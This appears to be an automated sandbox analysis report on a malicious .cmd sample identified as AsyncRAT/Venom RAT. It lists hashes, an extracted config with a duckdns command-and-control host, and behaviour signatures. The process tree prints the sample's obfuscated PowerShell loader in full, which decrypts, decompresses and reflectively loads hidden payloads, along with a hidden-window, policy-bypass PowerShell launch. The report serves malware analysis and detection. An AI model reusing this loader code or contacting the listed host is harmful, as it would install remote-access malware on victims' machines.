Analysis
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max time kernel
131s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
24-05-2024 13:30
Static task
static1
Behavioral task
behavioral1
Sample
c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd
Resource
win10v2004-20240426-en
General
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Target
c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd
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Size
111KB
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MD5
934330a37a7b1380047366d135ff1423
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SHA1
1cadd58c7e7475277d23b924b3dac8aad567bf44
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SHA256
c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c
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SHA512
844b523cb12393b97a9807fd4b5bd9b811a7482a4d9865a0b3c7ccdce889222671f86bd87cc8a0ec25abefe62d8e33a871434114847fea58bf8bc73bc411362a
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SSDEEP
3072:/HPsUJ1lTMxqWITymQ57Leimw/gU0x1DzfsxciNpU3:XTWITymEeiWUxFy
Malware Config
Extracted
asyncrat
5.0.5
Venom Clients
xvern429.duckdns.org:8890
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
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delay
1
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install
false
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install_folder
%AppData%
Signatures
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Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/2440-19-0x00000217DFE40000-0x00000217DFE56000-memory.dmp family_asyncrat -
Blocklisted process makes network request 2 IoCs
flow pid Process 17 2440 powershell.exe 18 2440 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2440 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2440 powershell.exe 2440 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2440 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3956 wrote to memory of 4196 3956 cmd.exe 84 PID 3956 wrote to memory of 4196 3956 cmd.exe 84 PID 3956 wrote to memory of 4044 3956 cmd.exe 86 PID 3956 wrote to memory of 4044 3956 cmd.exe 86 PID 3956 wrote to memory of 2440 3956 cmd.exe 87 PID 3956 wrote to memory of 2440 3956 cmd.exe 87
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵PID:4196
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqGtFYajP4dvsKIWnOQi409E1v8ult6DFNGJrf47kZE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x2DBEVvQmBOCho9gd+n1bw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oKEyn=New-Object System.IO.MemoryStream(,$param_var); $ZXvXs=New-Object System.IO.MemoryStream; $rdMmY=New-Object System.IO.Compression.GZipStream($oKEyn, [IO.Compression.CompressionMode]::Decompress); $rdMmY.CopyTo($ZXvXs); $rdMmY.Dispose(); $oKEyn.Dispose(); $ZXvXs.Dispose(); $ZXvXs.ToArray();}function execute_function($param_var,$param2_var){ $pUJev=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oJbpm=$pUJev.EntryPoint; $oJbpm.Invoke($null, $param2_var);}$XSGCc = 'C:\Users\Admin\AppData\Local\Temp\c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd';$host.UI.RawUI.WindowTitle = $XSGCc;$WmqwT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSGCc).Split([Environment]::NewLine);foreach ($VEuit in $WmqwT) { if ($VEuit.StartsWith('kJooVBlfXESpuyhzrHrv')) { $iEGsi=$VEuit.Substring(20); break; }}$payloads_var=[string[]]$iEGsi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:4044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82